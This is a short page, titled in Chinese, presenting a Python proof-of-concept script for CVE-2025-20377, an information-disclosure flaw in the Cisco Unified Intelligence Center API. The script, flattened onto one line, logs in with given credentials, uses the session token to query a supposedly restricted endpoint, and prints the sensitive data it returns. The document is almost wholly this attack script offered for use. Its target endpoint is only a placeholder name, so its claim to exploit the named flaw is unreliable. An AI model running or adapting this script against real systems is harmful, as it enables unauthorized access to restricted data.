CVE-2025-20377 Cisco Unified Intelligence Center API信息泄露漏洞

# CVE-2025-20377 PoC - Cisco Unified Intelligence Center API Information Disclosure # This PoC demonstrates the information disclosure vulnerability # Note: This is for educational purposes only import requests import sys def exploit_cve_2025_20377(target_url, username, password): """ Exploit for CVE-2025-20377 Cisco Unified Intelligence Center API Information Disclosure """ # Login to obtain session token login_url = f"{target_url}/uic-api/v1/auth/login" login_data = { "username": username, "password": password } try: # Attempt login session = requests.Session() login_response = session.post(login_url, json=login_data, verify=False, timeout=10) if login_response.status_code == 200: print("[+] Login successful") token = login_response.json().get('token') # Access vulnerable API endpoint # The vulnerable endpoint allows low-privileged users to access restricted data api_url = f"{target_url}/uic-api/v1/api-endpoint-that-should-require-higher-privileges" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Request sensitive information response = session.get(api_url, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Successfully accessed restricted API endpoint") print("[+] Retrieved sensitive information:") print(response.text) return response.json() else: print(f"[-] Failed to access API: {response.status_code}") return None else: print("[-] Login failed") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://target.com admin password123") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit_cve_2025_20377(target_url, username, password)